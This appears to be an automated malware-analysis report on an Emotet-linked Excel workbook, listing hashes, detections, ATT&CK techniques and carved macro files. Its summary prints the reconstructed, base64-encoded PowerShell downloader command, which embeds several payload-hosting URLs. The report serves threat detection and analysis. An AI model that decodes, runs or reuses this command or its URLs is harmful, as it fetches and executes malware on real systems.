Emotet Office (OOXML) / .XLSX malware analysis — malicious · b491fe5127d25f39

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 688d9fc87e30f88919d652b54caf2a1b SHA-1: f5dbaee9ade2ce16ca14be15c3d16c772a1936d5 SHA-256: b491fe5127d25f3903b32d84d48858c79f9b76914247f63296f61d9ffa001613

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature 'Xls.Downloader.EmotetExcel02223-9938902-0'. Static analysis reveals a Workbook_Open macro that utilizes CreateObject to execute obfuscated PowerShell commands. These commands are designed to download and execute a second-stage payload from multiple URLs. The reconstructed PowerShell command is: 'hell -e AABsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAZwBwAG0AYQBjAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBW'. The presence of these elements strongly indicates a downloader functionality, characteristic of the Emotet family.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `6e422c8f9005c174c899ec4974d30ce89a97580243ec1cfaa60e8c81e0235d59`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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